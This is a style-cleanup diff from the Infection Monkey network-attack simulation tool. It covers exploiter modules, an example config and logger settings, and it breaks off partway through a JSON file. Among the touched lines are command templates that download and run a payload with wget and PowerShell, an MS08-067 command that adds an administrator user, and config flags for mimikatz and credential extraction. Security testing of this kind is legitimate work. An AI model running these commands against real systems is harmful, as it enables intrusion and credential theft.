.../src/components/attack/techniques/T1064.js | 10 +-
.../src/components/attack/techniques/T1075.js | 29 +-
.../src/components/attack/techniques/T1082.js | 24 +-
.../src/components/attack/techniques/T1086.js | 27 +-
.../src/components/attack/techniques/T1090.js | 17 +-
.../src/components/attack/techniques/T1105.js | 21 +-
.../src/components/attack/techniques/T1106.js | 10 +-
.../src/components/attack/techniques/T1107.js | 32 ++-
.../src/components/attack/techniques/T1110.js | 28 +-
.../src/components/attack/techniques/T1129.js | 8 +-
.../src/components/attack/techniques/T1145.js | 35 +--
.../src/components/attack/techniques/T1188.js | 33 ++-
.../src/components/attack/techniques/T1197.js | 48 ++--
.../src/components/attack/techniques/T1210.js | 74 ++---
.../src/components/attack/techniques/T1222.js | 19 +-
.../map/preview-pane/InfMapPreviewPane.js | 16 +-
.../map/preview-pane/PreviewPane.js | 16 +-
.../ui/src/components/pages/ConfigurePage.js | 254 ++++++++++--------
.../cc/ui/src/components/pages/LicensePage.js | 4 +-
.../cc/ui/src/components/pages/MapPage.js | 25 +-
.../components/pages/PassTheHashMapPage.js | 8 +-
.../cc/ui/src/components/pages/ReportPage.js | 187 +++++++------
.../ui/src/components/pages/RunMonkeyPage.js | 49 ++--
.../ui/src/components/pages/StartOverPage.js | 15 +-
.../ui/src/components/pages/TelemetryPage.js | 66 ++---
.../common/PaginatedTable.js | 3 +-
.../security/AttackReport.js | 55 ++--
.../security/BreachedServers.js | 10 +-
.../report-components/security/PostBreach.js | 30 +--
.../security/ScannedServers.js | 14 +-
.../security/StolenPasswords.js | 6 +-
.../report-components/security/StrongUsers.js | 8 +-
.../zerotrust/EventsButton.js | 14 +-
.../zerotrust/EventsModal.js | 6 +-
.../zerotrust/EventsTimeline.js | 4 +-
.../zerotrust/PillarLabel.js | 3 +-
.../zerotrust/PrinciplesStatusTable.js | 13 +-
.../zerotrust/ReportLegend.js | 8 +-
.../zerotrust/SinglePillarPrinciplesStatus.js | 6 +-
.../zerotrust/StatusesToPillarsSummary.js | 10 +-
.../zerotrust/SummarySection.js | 7 +-
.../src/components/run-monkey/AwsRunTable.js | 12 +-
.../src/components/ui-components/Checkbox.js | 99 +++----
monkey/monkey_island/cc/ui/src/config/base.js | 3 +-
.../cc/ui/src/images/infection-monkey.svg | 47 ++--
.../cc/ui/src/images/monkey-icon.svg | 11 +-
.../zerotrust/im-alert-machine-icon.svg | 14 +-
.../zerotrust/im-alert-network-icon.svg | 24 +-
monkey/monkey_island/cc/ui/src/index.html | 2 +-
monkey/monkey_island/cc/ui/src/index.js | 2 +-
.../cc/ui/src/server_config/AwsConfig.js | 2 +-
.../cc/ui/src/server_config/PasswordConfig.js | 2 +-
.../cc/ui/src/server_config/StandardConfig.js | 2 +-
.../cc/ui/src/services/AuthService.js | 5 +-
monkey/monkey_island/cc/ui/src/styles/App.css | 37 +--
.../cc/ui/src/styles/Checkbox.scss | 137 +++++-----
.../cc/ui/src/styles/Collapse.scss | 13 +-
monkey/monkey_island/cc/utils.py | 2 +-
147 files changed, 1370 insertions(+), 1150 deletions(-)
diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py
index 0fc6dd10a..55a359b60 100644
--- a/monkey/infection_monkey/dropper.py
+++ b/monkey/infection_monkey/dropper.py
@@ -114,7 +114,7 @@ class MonkeyDrops(object):
except OSError:
LOG.warning("Cannot set reference date to destination file")
- monkey_options =\
+ monkey_options = \
build_monkey_commandline_explicitly(self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth)
if OperatingSystem.Windows == SystemInfoCollector.get_os():
diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf
index 194e18625..4fb0200c8 100644
--- a/monkey/infection_monkey/example.conf
+++ b/monkey/infection_monkey/example.conf
@@ -1,109 +1,109 @@
{
- "should_exploit": true,
- "command_servers": [
- "192.0.2.0:5000"
- ],
- "internet_services": [
- "monkey.guardicore.com",
- "www.google.com"
- ],
- "keep_tunnel_open_time": 60,
- "subnet_scan_list": [
+ "should_exploit": true,
+ "command_servers": [
+ "192.0.2.0:5000"
+ ],
+ "internet_services": [
+ "monkey.guardicore.com",
+ "www.google.com"
+ ],
+ "keep_tunnel_open_time": 60,
+ "subnet_scan_list": [
- ],
- "inaccessible_subnets": [],
- "blocked_ips": [],
- "current_server": "192.0.2.0:5000",
- "alive": true,
- "collect_system_info": true,
- "extract_azure_creds": true,
- "should_use_mimikatz": true,
- "depth": 2,
+ ],
+ "inaccessible_subnets": [],
+ "blocked_ips": [],
+ "current_server": "192.0.2.0:5000",
+ "alive": true,
+ "collect_system_info": true,
+ "extract_azure_creds": true,
+ "should_use_mimikatz": true,
+ "depth": 2,
- "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
- "dropper_date_reference_path_linux": "/bin/sh",
- "dropper_log_path_windows": "%temp%\\~df1562.tmp",
- "dropper_log_path_linux": "/tmp/user-1562",
- "dropper_set_date": true,
- "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
- "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
- "dropper_target_path_linux": "/tmp/monkey",
+ "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
+ "dropper_date_reference_path_linux": "/bin/sh",
+ "dropper_log_path_windows": "%temp%\\~df1562.tmp",
+ "dropper_log_path_linux": "/tmp/user-1562",
+ "dropper_set_date": true,
+ "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
+ "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
+ "dropper_target_path_linux": "/tmp/monkey",
- "monkey_dir_name": "monkey_dir",
+ "monkey_dir_name": "monkey_dir",
- "kill_file_path_linux": "/var/run/monkey.not",
- "kill_file_path_windows": "%windir%\\monkey.not",
- "dropper_try_move_first": true,
- "exploiter_classes": [
- "SSHExploiter",
- "SmbExploiter",
- "WmiExploiter",
- "ShellShockExploiter",
- "ElasticGroovyExploiter",
- "SambaCryExploiter",
- "Struts2Exploiter",
- "WebLogicExploiter",
- "HadoopExploiter",
- "VSFTPDExploiter",
- "MSSQLExploiter"
- ],
- "finger_classes": [
- "SSHFinger",
- "PingScanner",
- "HTTPFinger",
- "SMBFinger",
- "MySQLFinger",
- "MSSQLFingerprint",
- "ElasticFinger"
- ],
- "max_iterations": 3,
- "monkey_log_path_windows": "%temp%\\~df1563.tmp",
- "monkey_log_path_linux": "/tmp/user-1563",
- "send_log_to_server": true,
- "ms08_067_exploit_attempts": 5,
- "user_to_add": "Monkey_IUSER_SUPPORT",
- "remote_user_pass": "Password1!",
- "ping_scan_timeout": 10000,
- "smb_download_timeout": 300,
- "smb_service_name": "InfectionMonkey",
- "retry_failed_explotation": true,
- "self_delete_in_cleanup": true,
- "serialize_config": false,
- "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}",
- "skip_exploit_if_file_exist": false,
- "exploit_user_list": [],
- "exploit_password_list": [],
- "exploit_lm_hash_list": [],
- "exploit_ntlm_hash_list": [],
- "exploit_ssh_keys": [],
- "sambacry_trigger_timeout": 5,
- "sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"],
- "sambacry_shares_not_to_check": ["IPC$", "print$"],
- "local_network_scan": false,
- "tcp_scan_get_banner": true,
- "tcp_scan_interval": 0,
- "tcp_scan_timeout": 10000,
- "tcp_target_ports": [
- 22,
- 445,
- 135,
- 3389,
- 80,
- 8080,
- 443,
- 3306,
- 8008,
- 9200,
- 7001,
- 8088
- ],
- "timeout_between_iterations": 10,
- "use_file_logging": true,
- "victims_max_exploit": 15,
- "victims_max_find": 100,
- "post_breach_actions" : []
- custom_PBA_linux_cmd = ""
- custom_PBA_windows_cmd = ""
- PBA_linux_filename = None
- PBA_windows_filename = None
+ "kill_file_path_linux": "/var/run/monkey.not",
+ "kill_file_path_windows": "%windir%\\monkey.not",
+ "dropper_try_move_first": true,
+ "exploiter_classes": [
+ "SSHExploiter",
+ "SmbExploiter",
+ "WmiExploiter",
+ "ShellShockExploiter",
+ "ElasticGroovyExploiter",
+ "SambaCryExploiter",
+ "Struts2Exploiter",
+ "WebLogicExploiter",
+ "HadoopExploiter",
+ "VSFTPDExploiter",
+ "MSSQLExploiter"
+ ],
+ "finger_classes": [
+ "SSHFinger",
+ "PingScanner",
+ "HTTPFinger",
+ "SMBFinger",
+ "MySQLFinger",
+ "MSSQLFingerprint",
+ "ElasticFinger"
+ ],
+ "max_iterations": 3,
+ "monkey_log_path_windows": "%temp%\\~df1563.tmp",
+ "monkey_log_path_linux": "/tmp/user-1563",
+ "send_log_to_server": true,
+ "ms08_067_exploit_attempts": 5,
+ "user_to_add": "Monkey_IUSER_SUPPORT",
+ "remote_user_pass": "Password1!",
+ "ping_scan_timeout": 10000,
+ "smb_download_timeout": 300,
+ "smb_service_name": "InfectionMonkey",
+ "retry_failed_explotation": true,
+ "self_delete_in_cleanup": true,
+ "serialize_config": false,
+ "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}",
+ "skip_exploit_if_file_exist": false,
+ "exploit_user_list": [],
+ "exploit_password_list": [],
+ "exploit_lm_hash_list": [],
+ "exploit_ntlm_hash_list": [],
+ "exploit_ssh_keys": [],
+ "sambacry_trigger_timeout": 5,
+ "sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"],
+ "sambacry_shares_not_to_check": ["IPC$", "print$"],
+ "local_network_scan": false,
+ "tcp_scan_get_banner": true,
+ "tcp_scan_interval": 0,
+ "tcp_scan_timeout": 10000,
+ "tcp_target_ports": [
+ 22,
+ 445,
+ 135,
+ 3389,
+ 80,
+ 8080,
+ 443,
+ 3306,
+ 8008,
+ 9200,
+ 7001,
+ 8088
+ ],
+ "timeout_between_iterations": 10,
+ "use_file_logging": true,
+ "victims_max_exploit": 15,
+ "victims_max_find": 100,
+ "post_breach_actions": []
+ custom_PBA_linux_cmd = ""
+ custom_PBA_windows_cmd = ""
+ PBA_linux_filename = None
+ PBA_windows_filename = None
}
diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py
index c8f897dd2..f66a58ab0 100644
--- a/monkey/infection_monkey/exploit/elasticgroovy.py
+++ b/monkey/infection_monkey/exploit/elasticgroovy.py
@@ -8,7 +8,7 @@ import json
import logging
import requests
from infection_monkey.exploit.web_rce import WebRCE
-from infection_monkey.model import WGET_HTTP_UPLOAD, BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\
+from infection_monkey.model import WGET_HTTP_UPLOAD, BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX, \
DOWNLOAD_TIMEOUT
from infection_monkey.network.elasticfinger import ES_PORT
from common.data.network_consts import ES_SERVICE
@@ -83,7 +83,7 @@ class ElasticGroovyExploiter(WebRCE):
# Overridden web_rce method that adds CMD prefix for windows command
try:
if 'windows' in self.host.os['type']:
- resp = self.exploit(url, CMD_PREFIX+" "+CHECK_COMMAND)
+ resp = self.exploit(url, CMD_PREFIX + " " + CHECK_COMMAND)
else:
resp = self.exploit(url, CHECK_COMMAND)
if resp is True:
diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py
index dcad2adf1..c8982a7e2 100644
--- a/monkey/infection_monkey/exploit/mssqlexec.py
+++ b/monkey/infection_monkey/exploit/mssqlexec.py
@@ -17,7 +17,6 @@ LOG = logging.getLogger(__name__)
class MSSQLExploiter(HostExploiter):
-
_EXPLOITED_SERVICE = 'MSSQL'
_TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
@@ -143,7 +142,7 @@ class MSSQLExploiter(HostExploiter):
def get_monkey_download_command(self):
dst_path = get_monkey_dest_path(self.monkey_server.http_path)
- monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.\
+ monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND. \
format(http_path=self.monkey_server.http_path, dst_path=dst_path)
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path)
@@ -192,5 +191,5 @@ class MSSQLLimitedSizePayload(LimitedSizePayload):
def __init__(self, command, prefix="", suffix=""):
super(MSSQLLimitedSizePayload, self).__init__(command=command,
max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE,
- prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START+prefix,
- suffix=suffix+MSSQLExploiter.XP_CMDSHELL_COMMAND_END)
+ prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START + prefix,
+ suffix=suffix + MSSQLExploiter.XP_CMDSHELL_COMMAND_END)
diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py
index edc4851e9..932d94b77 100644
--- a/monkey/infection_monkey/exploit/shellshock.py
+++ b/monkey/infection_monkey/exploit/shellshock.py
@@ -132,7 +132,7 @@ class ShellShockExploiter(HostExploiter):
self._remove_lock_file(exploit, url, header)
if (http_thread.downloads != 1) or (
- 'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)):
+ 'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)):
LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
continue
diff --git a/monkey/infection_monkey/exploit/tools/exceptions.py b/monkey/infection_monkey/exploit/tools/exceptions.py
index eabe8d9d7..d37ab9e53 100644
--- a/monkey/infection_monkey/exploit/tools/exceptions.py
+++ b/monkey/infection_monkey/exploit/tools/exceptions.py
@@ -1,5 +1,3 @@
-
-
class ExploitingVulnerableMachineError(Exception):
""" Raise when exploiter failed, but machine is vulnerable"""
pass
diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py
index 91a25c270..5e4b43b20 100644
--- a/monkey/infection_monkey/exploit/tools/helpers.py
+++ b/monkey/infection_monkey/exploit/tools/helpers.py
@@ -74,7 +74,7 @@ def get_target_monkey(host):
if host.os.get('type') == platform.system().lower():
# if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe
if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \
- host.os.get('machine', '').lower() == platform.machine().lower():
+ host.os.get('machine', '').lower() == platform.machine().lower():
monkey_path = sys.executable
return monkey_path
diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing.py b/monkey/infection_monkey/exploit/tools/payload_parsing.py
index 31632b045..5c4415fe3 100644
--- a/monkey/infection_monkey/exploit/tools/payload_parsing.py
+++ b/monkey/infection_monkey/exploit/tools/payload_parsing.py
@@ -49,7 +49,7 @@ class LimitedSizePayload(Payload):
"exceeds required length of command.")
elif self.command == "":
- return [self.prefix+self.suffix]
+ return [self.prefix + self.suffix]
wrapper = textwrap.TextWrapper(drop_whitespace=False, width=self.get_max_sub_payload_length())
commands = [self.get_payload(part)
for part
diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py
index 51564518e..2507cff66 100644
--- a/monkey/infection_monkey/exploit/tools/smb_tools.py
+++ b/monkey/infection_monkey/exploit/tools/smb_tools.py
@@ -12,6 +12,7 @@ from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
from infection_monkey.exploit.tools.helpers import get_interface_to_target
from infection_monkey.config import Configuration
+
__author__ = 'itamar'
LOG = logging.getLogger(__name__)
diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py
index ac648012b..daccb4cfb 100644
--- a/monkey/infection_monkey/exploit/weblogic.py
+++ b/monkey/infection_monkey/exploit/weblogic.py
@@ -1,4 +1,3 @@
-
import threading
import logging
import time
@@ -13,7 +12,6 @@ from infection_monkey.exploit.tools.helpers import get_interface_to_target
from infection_monkey.network.info import get_free_tcp_port
from http.server import BaseHTTPRequestHandler, HTTPServer
-
__author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
@@ -34,7 +32,6 @@ HEADERS = {
class WebLogicExploiter(HostExploiter):
-
_TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Weblogic'
diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py
index 7148ba965..4257677b0 100644
--- a/monkey/infection_monkey/exploit/win_ms08_067.py
+++ b/monkey/infection_monkey/exploit/win_ms08_067.py
@@ -162,11 +162,11 @@ class Ms08_067_Exploiter(HostExploiter):
def is_os_supported(self):
if self.host.os.get('type') in self._TARGET_OS_TYPE and \
- self.host.os.get('version') in list(self._windows_versions.keys()):
+ self.host.os.get('version') in list(self._windows_versions.keys()):
return True
if not self.host.os.get('type') or (
- self.host.os.get('type') in self._TARGET_OS_TYPE and not self.host.os.get('version')):
+ self.host.os.get('type') in self._TARGET_OS_TYPE and not self.host.os.get('version')):
is_smb_open, _ = check_tcp_port(self.host.ip_addr, 445)
if is_smb_open:
smb_finger = SMBFinger()
@@ -193,9 +193,9 @@ class Ms08_067_Exploiter(HostExploiter):
sock.send("cmd /c (net user {} {} /add) &&"
" (net localgroup administrators {} /add)\r\n".format(
- self._config.user_to_add,
- self._config.remote_user_pass,
- self._config.user_to_add).encode())
+ self._config.user_to_add,
+ self._config.remote_user_pass,
+ self._config.user_to_add).encode())
time.sleep(2)
reply = sock.recv(1000)
diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py
index 257cfd469..cc286bfcd 100644
--- a/monkey/infection_monkey/exploit/wmiexec.py
+++ b/monkey/infection_monkey/exploit/wmiexec.py
@@ -122,4 +122,3 @@ class WmiExploiter(HostExploiter):
return success
return False
-
diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py
index 254bce966..e4cfea7a4 100644
--- a/monkey/infection_monkey/model/__init__.py
+++ b/monkey/infection_monkey/model/__init__.py
@@ -5,14 +5,14 @@ __author__ = 'itamar'
MONKEY_ARG = "m0nk3y"
DROPPER_ARG = "dr0pp3r"
ID_STRING = "M0NK3Y3XPL0ITABLE"
-DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
-MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
-MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG, )
+DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG,)
+MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG,)
+MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG,)
GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)'
-DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
-MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
+DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG,)
+MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG,)
MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd ' \
- '/c %%(monkey_path)s %s"' % (MONKEY_ARG, )
+ '/c %%(monkey_path)s %s"' % (MONKEY_ARG,)
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(' \
'file_path)s exit)) > NUL 2>&1 '
@@ -33,12 +33,12 @@ GET_ARCH_LINUX = "lscpu"
# All in one commands (upload, change permissions, run)
HADOOP_WINDOWS_COMMAND = "powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { " \
- "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " \
- " if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " \
- "{& %(monkey_path)s %(monkey_type)s %(parameters)s } \""
+ "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " \
+ " if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " \
+ "{& %(monkey_path)s %(monkey_type)s %(parameters)s } \""
HADOOP_LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \
- "&& wget -O %(monkey_path)s %(http_path)s " \
- "; chmod +x %(monkey_path)s " \
- "&& %(monkey_path)s %(monkey_type)s %(parameters)s"
+ "&& wget -O %(monkey_path)s %(http_path)s " \
+ "; chmod +x %(monkey_path)s " \
+ "&& %(monkey_path)s %(monkey_type)s %(parameters)s"
DOWNLOAD_TIMEOUT = 180
diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py
index 3985c8a2e..a74c497af 100644
--- a/monkey/infection_monkey/monkey.py
+++ b/monkey/infection_monkey/monkey.py
@@ -182,7 +182,7 @@ class InfectionMonkey(object):
if self._default_server:
if self._network.on_island(self._default_server):
machine.set_default_server(get_interface_to_target(machine.ip_addr) +
- (':'+self._default_server_port if self._default_server_port else ''))
+ (':' + self._default_server_port if self._default_server_port else ''))
else:
machine.set_default_server(self._default_server)
LOG.debug("Default server for machine: %r set to %s" % (machine, machine.default_server))
diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py
index 2d7b981f5..1418c22cc 100644
--- a/monkey/infection_monkey/network/info.py
+++ b/monkey/infection_monkey/network/info.py
@@ -13,7 +13,6 @@ from requests import ConnectionError
from common.network.network_range import CidrRange
from infection_monkey.utils.environment import is_windows_os
-
# Timeout for monkey connections
TIMEOUT = 15
LOOPBACK_NAME = b"lo"
diff --git a/monkey/infection_monkey/network/mssql_fingerprint.py b/monkey/infection_monkey/network/mssql_fingerprint.py
index e6130732d..623b7368f 100644
--- a/monkey/infection_monkey/network/mssql_fingerprint.py
+++ b/monkey/infection_monkey/network/mssql_fingerprint.py
@@ -12,7 +12,6 @@ LOG = logging.getLogger(__name__)
class MSSQLFinger(HostFinger):
-
# Class related consts
SQL_BROWSER_DEFAULT_PORT = 1434
BUFFER_SIZE = 4096
diff --git a/monkey/infection_monkey/network/tcp_scanner.py b/monkey/infection_monkey/network/tcp_scanner.py
index fa2d812ae..3df936672 100644
--- a/monkey/infection_monkey/network/tcp_scanner.py
+++ b/monkey/infection_monkey/network/tcp_scanner.py
@@ -11,7 +11,6 @@ BANNER_READ = 1024
class TcpScanner(HostScanner, HostFinger):
-
_SCANNED_SERVICE = 'unknown(TCP)'
def __init__(self):
diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py
index 89417757d..3438eccda 100644
--- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py
+++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py
@@ -27,6 +27,7 @@ class UsersPBA(PBA):
"""
Defines user's configured post breach action.
"""
+
def __init__(self):
super(UsersPBA, self).__init__(POST_BREACH_FILE_EXECUTION)
self.filename = ''
diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py
index 73b8a3221..57bf0aaf7 100644
--- a/monkey/infection_monkey/post_breach/pba.py
+++ b/monkey/infection_monkey/post_breach/pba.py
@@ -7,7 +7,6 @@ from infection_monkey.utils.environment import is_windows_os
from infection_monkey.config import WormConfiguration
from infection_monkey.telemetry.attack.t1064_telem import T1064Telem
-
LOG = logging.getLogger(__name__)
__author__ = 'VakarisZ'
@@ -19,6 +18,7 @@ class PBA(object):
"""
Post breach action object. Can be extended to support more than command execution on target machine.
"""
+
def __init__(self, name="unknown", linux_cmd="", windows_cmd=""):
"""
:param name: Name of post breach action.
diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py
index b5dfa93c7..78ee4ad42 100644
--- a/monkey/infection_monkey/post_breach/post_breach_handler.py
+++ b/monkey/infection_monkey/post_breach/post_breach_handler.py
@@ -16,6 +16,7 @@ class PostBreach(object):
"""
This class handles post breach actions execution
"""
+
def __init__(self):
self.os_is_linux = not is_windows_os()
self.pba_list = self.config_to_pba_list()
diff --git a/monkey/infection_monkey/pyinstaller_utils.py b/monkey/infection_monkey/pyinstaller_utils.py
index d169bda6a..3e2bed17e 100644
--- a/monkey/infection_monkey/pyinstaller_utils.py
+++ b/monkey/infection_monkey/pyinstaller_utils.py
@@ -1,7 +1,6 @@
import os
import sys
-
__author__ = 'itay.mizeretz'
diff --git a/monkey/infection_monkey/system_info/linux_info_collector.py b/monkey/infection_monkey/system_info/linux_info_collector.py
index 831b10ba1..fb38f84c4 100644
--- a/monkey/infection_monkey/system_info/linux_info_collector.py
+++ b/monkey/infection_monkey/system_info/linux_info_collector.py
@@ -26,4 +26,3 @@ class LinuxInfoCollector(InfoCollector):
super(LinuxInfoCollector, self).get_info()
self.info['ssh_info'] = SSHCollector.get_info()
return self.info
-
diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py
index 2c3696f44..1419478db 100644
--- a/monkey/infection_monkey/system_info/windows_info_collector.py
+++ b/monkey/infection_monkey/system_info/windows_info_collector.py
@@ -1,6 +1,7 @@
import os
import logging
import sys
+
sys.coinit_flags = 0 # needed for proper destruction of the wmi python module
import infection_monkey.config
diff --git a/monkey/infection_monkey/system_info/wmi_consts.py b/monkey/infection_monkey/system_info/wmi_consts.py
index a87e297d9..a42472b82 100644
--- a/monkey/infection_monkey/system_info/wmi_consts.py
+++ b/monkey/infection_monkey/system_info/wmi_consts.py
@@ -29,4 +29,3 @@ WMI_LDAP_CLASSES = {"ds_user": ("DS_sAMAccountName", "DS_userPrincipalName",
"DS_sAMAccountType", "DS_servicePrincipalName", "DS_userAccountControl",
"DS_whenChanged", "DS_whenCreated"),
}
-
diff --git a/monkey/infection_monkey/system_singleton.py b/monkey/infection_monkey/system_singleton.py
index 485a9253e..f82e7be44 100644
--- a/monkey/infection_monkey/system_singleton.py
+++ b/monkey/infection_monkey/system_singleton.py
@@ -5,7 +5,6 @@ from abc import ABCMeta, abstractmethod
from infection_monkey.config import WormConfiguration
-
__author__ = 'itamar'
LOG = logging.getLogger(__name__)
diff --git a/monkey/infection_monkey/transport/__init__.py b/monkey/infection_monkey/transport/__init__.py
index 735ef670a..25509ef85 100644
--- a/monkey/infection_monkey/transport/__init__.py
+++ b/monkey/infection_monkey/transport/__init__.py
@@ -1,4 +1,3 @@
from infection_monkey.transport.http import HTTPServer, LockedHTTPServer
-
__author__ = 'hoffer'
diff --git a/monkey/infection_monkey/transport/tcp.py b/monkey/infection_monkey/transport/tcp.py
index e910e657f..22cff5d4a 100644
--- a/monkey/infection_monkey/transport/tcp.py
+++ b/monkey/infection_monkey/transport/tcp.py
@@ -41,13 +41,13 @@ class SocketsPipe(Thread):
except:
break
self._keep_connection = True
-
+
self.source.close()
self.dest.close()
class TcpProxy(TransportProxyBase):
-
+
def run(self):
pipes = []
l_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py
index 8ab61c895..9b5e7b849 100644
--- a/monkey/monkey_island/cc/app.py
+++ b/monkey/monkey_island/cc/app.py
@@ -39,7 +39,6 @@ from monkey_island.cc.resources.test.log_test import LogTest
__author__ = 'Barak'
-
HOME_FILE = 'index.html'
diff --git a/monkey/monkey_island/cc/island_logger.py b/monkey/monkey_island/cc/island_logger.py
index 8fbef1e0e..f55fcf896 100644
--- a/monkey/monkey_island/cc/island_logger.py
+++ b/monkey/monkey_island/cc/island_logger.py
@@ -2,7 +2,6 @@ import os
import json
import logging.config
-
__author__ = 'Maor.Rayzin'
diff --git a/monkey/monkey_island/cc/island_logger_default_config.json b/monkey/monkey_island/cc/island_logger_default_config.json
index 34a57b374..522177cda 100644
--- a/monkey/monkey_island/cc/island_logger_default_config.json
+++ b/monkey/monkey_island/cc/island_logger_default_config.json
@@ -1,33 +1,33 @@
{
- "version": 1,
- "disable_existing_loggers": false,
- "formatters": {
- "simple": {
- "format": "%(asctime)s - %(filename)s:%(lineno)s - %(funcName)10s() - %(levelname)s - %(message)s"
- }
- },
-
- "handlers": {
- "console": {
- "class": "logging.StreamHandler",
- "level": "DEBUG",
- "formatter": "simple",
- "stream": "ext://sys.stdout"
- },
-
- "info_file_handler": {
- "class": "logging.handlers.RotatingFileHandler",
- "level": "INFO",
- "formatter": "simple",
- "filename": "info.log",
- "maxBytes": 10485760,
- "backupCount": 20,
- "encoding": "utf8"
- }
- },
-
- "root": {
- "level": "DEBUG",
- "handlers": ["console", "info_file_handler"]
+ "version": 1,
+ "disable_existing_loggers": false,
+ "formatters": {
+ "simple": {
+ "format": "%(asctime)s - %(filename)s:%(lineno)s - %(funcName)10s() - %(levelname)s - %(message)s"
}
+ },
+ "handlers": {
+ "console": {
+ "class": "logging.StreamHandler",
+ "level": "DEBUG",
+ "formatter": "simple",
+ "stream": "ext://sys.stdout"
+ },
+ "info_file_handler": {
+ "class": "logging.handlers.RotatingFileHandler",
+ "level": "INFO",
+ "formatter": "simple",
+ "filename": "info.log",
+ "maxBytes": 10485760,
